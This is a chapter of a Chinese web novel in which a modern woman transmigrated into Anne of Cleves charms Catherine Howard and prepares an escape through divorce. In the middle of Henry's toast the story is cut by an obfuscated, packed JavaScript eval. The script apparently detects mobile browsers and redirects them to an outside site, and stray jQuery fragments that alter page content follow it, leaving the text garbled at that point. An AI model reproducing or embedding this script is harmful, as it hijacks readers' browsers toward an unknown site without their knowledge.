12. 第十二章 求存策略·讨好与退路

作品:《穿越后我成了亨利的冤种老婆

    里士满 7 月 14 日,天色青白。安妮把闹钟设在四点半,却比钟声早醒一刻。


    她坐在镜前,先对镜练习“凯瑟琳式微笑”——嘴角上翘 5 毫米,露出上齿 3 颗,眼睑微垂,像一朵刚被露水打湿的金盏花。


    随后,她在舌尖滚了一句带莱茵河口音的德语:


    “Guten en, liebe Catherine! M?ge der Tag so sü? sein wie dein L?cheln.”


    尾音故意拖长,软得像蜂蜜。


    确认发音无误后,她才把“道具”一件件装进袖袋:


    ? 一页极薄的羊皮离婚同意书,折成指甲大小,缝在左袖衬里;


    ? 一只空心铜钮扣,内藏半盎司迷迭香油——必要时可瞬间制造“情绪失控的晕厥”;


    ? 一枚绣着微型玫瑰的丝帕,用来擦拭“感动”的泪水。


    二、微笑外交第一步:制造偶遇


    凯瑟琳·霍华德住在西翼玫瑰厢房,每日辰时必去花园剪花。安妮掐准时间,提前在回廊拐角“偶遇”。


    “哎呀,这根枝条长得太顽皮,竟敢挡住小姐的路。”


    安妮用半生不熟的英语说完,立刻补上一句带笑的德语:


    “玫瑰总是向着最美的光长。”


    凯瑟琳被逗得咯咯直笑,顺手把剪下的白玫瑰别在安妮耳后。


    安妮顺势递上自己连夜缝的小香囊——内装干玫瑰与薄荷,外表绣着凯瑟琳的姓名首字母“K·H”。


    “愿香气替我说感谢。”


    凯瑟琳收下,鼻尖轻嗅,眼睛眯成月牙。


    隔日午后,安妮邀请凯瑟琳去塔楼顶层看雨云。塔楼废弃,却成了“少女俱乐部”。


    安妮掏出袖珍棋盘,棋子是橡果刻的,棋盘是旧羊皮。


    “我们来玩‘巴伐利亚跳棋’,输的人要唱一首德语小调。”


    凯瑟琳输了,安妮便教她唱:


    “Kleine K?nigin, tr?um nicht zu klein,


    die Welt ist gro? und wartet auf dein Zeichen.”


    (小女王,别做太小的梦,世界很大,正等你发号施令。)


    歌词里的“K?nigin”被安妮唱得又软又亮,像一颗裹着糖的针。


    凯瑟琳听得入迷,回去后把歌词抄在扇面上,逢人就哼。谣言迅速发酵:王后与新欢已结成“德意志姐妹团”。


    每一场公开亲昵后,安妮回到房间,都会把离婚同意书拿出来重新折叠,确保边缘不会磨破。


    纸上只有三行拉丁文:


    “Ego Anna, duxit sine timore,


    renuntio vinculo matrimonii,


    peto libertatem.”


    (我安妮,无惧地宣布,放弃婚姻锁链,请求自由。)


    她把纸再缝进右袖,用同色丝线锁边,哪怕在舞会旋转时也不会掉出。


    7 月 16 日晚,凯瑟琳举办小型花园宴会。


    安妮被邀请同坐首席,席间亨利举杯:“为朕


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155902|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    未来的幸福干杯!”


    众目睽睽,安妮必须回应。她端起酒杯,用德语高声:


    “Zum Glück der Krone und der K?nigin, die noch nicht geboren ist.”


    (为尚未诞生的女王之冠冕干杯。)


    席间一阵低笑——“女王”一词在德语里阴性,却暗指凯瑟琳,也暗指伊丽莎白。


    亨利挑眉,没听出弦外之音,只觉有趣。


    凯瑟琳则笑得花枝乱颤,挽住安妮胳膊:“王后竟会替我祝酒!”


    安妮在心里把离婚同意书又往袖里塞了塞——危机测试通过。


    宴会散后,凯瑟琳偷偷递给安妮一张纸条:


    “若有一日我入主中宫,愿与你共享里士满猎场。”


    安妮把纸条压在袖中铜钮扣下,轻声回了一句德语:


    “玫瑰同枝,风雨同担。”


    凯瑟琳听懂了前半句,没听懂后半句的“风雨”其实是“风暴”。


    7 月 17 日破晓,安妮站在玫瑰篱笆尽头,把最后一朵白玫瑰别在凯瑟琳发间。


    她低头闻香,声音轻得像风:


    “愿你永远记得今日的香气,也永远记得是谁教会你呼吸。”


    凯瑟琳笑着走远,裙摆扫过露水,留下一串金色的脚印。


    安妮转身,摸了摸左袖的缝口——羊皮纸安静地躺在那里,像一条尚未拉响的警报。


    玫瑰篱笆在风中摇晃,松紧之间,她已经为自己铺好了两条路:


    一条通向金丝雀的巢,一条通向自由的旷野。